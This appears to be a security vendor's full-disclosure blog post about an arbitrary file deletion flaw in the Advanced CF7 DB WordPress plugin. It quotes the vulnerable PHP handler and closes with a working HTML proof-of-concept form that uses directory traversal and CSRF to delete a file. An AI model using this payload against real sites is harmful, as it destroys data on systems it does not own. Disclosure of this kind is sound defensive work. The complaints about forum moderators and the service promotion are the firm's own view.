Closed WordPress Plugin With 90,000+ Installs Contains Authenticated Arbitrary File Deletion Vulnerability
Today, the WordPress plugin Advanced Contact form 7 DB (Advanced CF7 DB) was closed on WordPress Plugin Directory. Because that being one of the 1,000 most popular plugins in that directory (it has 90,000+ installs), our systems warned us about the closure and we started checking over the plugin to see if there was a vulnerability we should warn customers of our service about if they are using the plugin. What we found was that it contains a vulnerability that allows anyone logged in to WordPress can delete arbitrary files from the website.
We tested and confirmed that our new firewall plugin for WordPress protected against the proof of concept below, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Authenticated Arbitrary File Deletion
The plugin registers the function vsz_acf7_db_edit_scr_file_delete() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
212 | $this->loader->add_action('wp_ajax_acf7_db_edit_scr_file_delete',$plugin_admin,'vsz_acf7_db_edit_scr_file_delete'); |
In that function, which is located in the file /admin/class-advanced-cf7-db-admin.php, there are no security checks before a file specified with the POST input “val”:
1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 | function vsz_acf7_db_edit_scr_file_delete(){ if(!isset($_POST["fid"]) || empty($_POST["fid"])){ print 'error'; exit; } if(!isset($_POST["rid"]) || empty($_POST["rid"])){ print 'error'; exit; } if(!isset($_POST["field"]) || empty($_POST["field"])){ print 'error'; exit; } if(!isset($_POST["val"]) || empty($_POST["val"])){ print 'error'; exit; } $fid = (int)sanitize_text_field($_POST["fid"]); $rid = (int)sanitize_text_field($_POST["rid"]); $field = sanitize_text_field($_POST["field"]); $val = sanitize_text_field($_POST["val"]); global $wpdb; $res = $wpdb->update(VSZ_CF7_DATA_ENTRY_TABLE_NAME, array("value" => ""), array("data_id" => $rid, "cf7_id" => $fid, "name" => $field)); if($res !== false){ $upload_dir = wp_upload_dir(); $dir_upload = $upload_dir['basedir'] .'/' .VSZ_CF7_UPLOAD_FOLDER; unlink($dir_upload.'/'.$val); |
Through directory traversal, a file outside of the directory that files are intended to be deleted from, /wp-content/uploads/advanced-cf7-upload/, can be deleted.
Because of a lack of a nonce check, this could also be exploited through cross-site request forgery (CSRF).
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will delete a file named “test.txt” located in the root directory of the website, when logged in to WordPress. In our test environment, a file need to be uploaded through the plugin first for this to work, as the plugin’s upload directory needed to exist.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=acf7_db_edit_scr_file_delete" method="POST"> <input type="hidden" name="fid" value="test" /> <input type="hidden" name="rid" value="test" /> <input type="hidden" name="field" value="test" /> <input type="hidden" name="val" value="../../../test.txt" /> <input type="submit" value="Submit" /> </form> </body>